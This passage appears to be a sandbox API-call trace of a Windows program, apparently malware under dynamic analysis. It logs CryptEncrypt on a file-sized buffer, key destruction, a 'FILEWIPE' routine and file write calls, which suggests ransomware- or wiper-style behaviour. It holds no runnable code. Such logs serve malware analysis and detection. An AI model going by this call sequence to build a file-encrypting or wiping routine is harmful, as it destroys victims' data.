CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.163] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.163] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.163] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.163] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.164] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.164] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6b4e, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6b50) returned 1 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] CharLowerBuffW (in: lpsz="byte[27473]", cchLength=0xb | out: lpsz="byte[27473]") returned 0xb [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.164] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.164] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43876f0*, pdwDataLen=0xe8f3dfdf68*=0x6b4e, dwBufLen=0x6b50 | out: pbData=0xe8f43876f0*, pdwDataLen=0xe8f3dfdf68*=0x6b50) returned 1 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.165] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.165] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.165] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.166] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.166] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.166] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.167] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.167] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.167] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.167] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.167] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.167] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.167] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.168] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.168] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.168] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.168] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.168] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.168] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.169] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.169] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.169] CharLowerBuffW (in: lpsz="byte[27470]", cchLength=0xb | out: lpsz="byte[27470]") returned 0xb [0027.169] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.170] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.170] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.170] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.170] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.171] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.171] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.171] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.171] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.171] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.171] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.171] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.172] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.172] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.172] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.172] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.172] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.172] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.173] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.173] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.173] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.173] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.173] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.173] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.173] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.173] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.173] 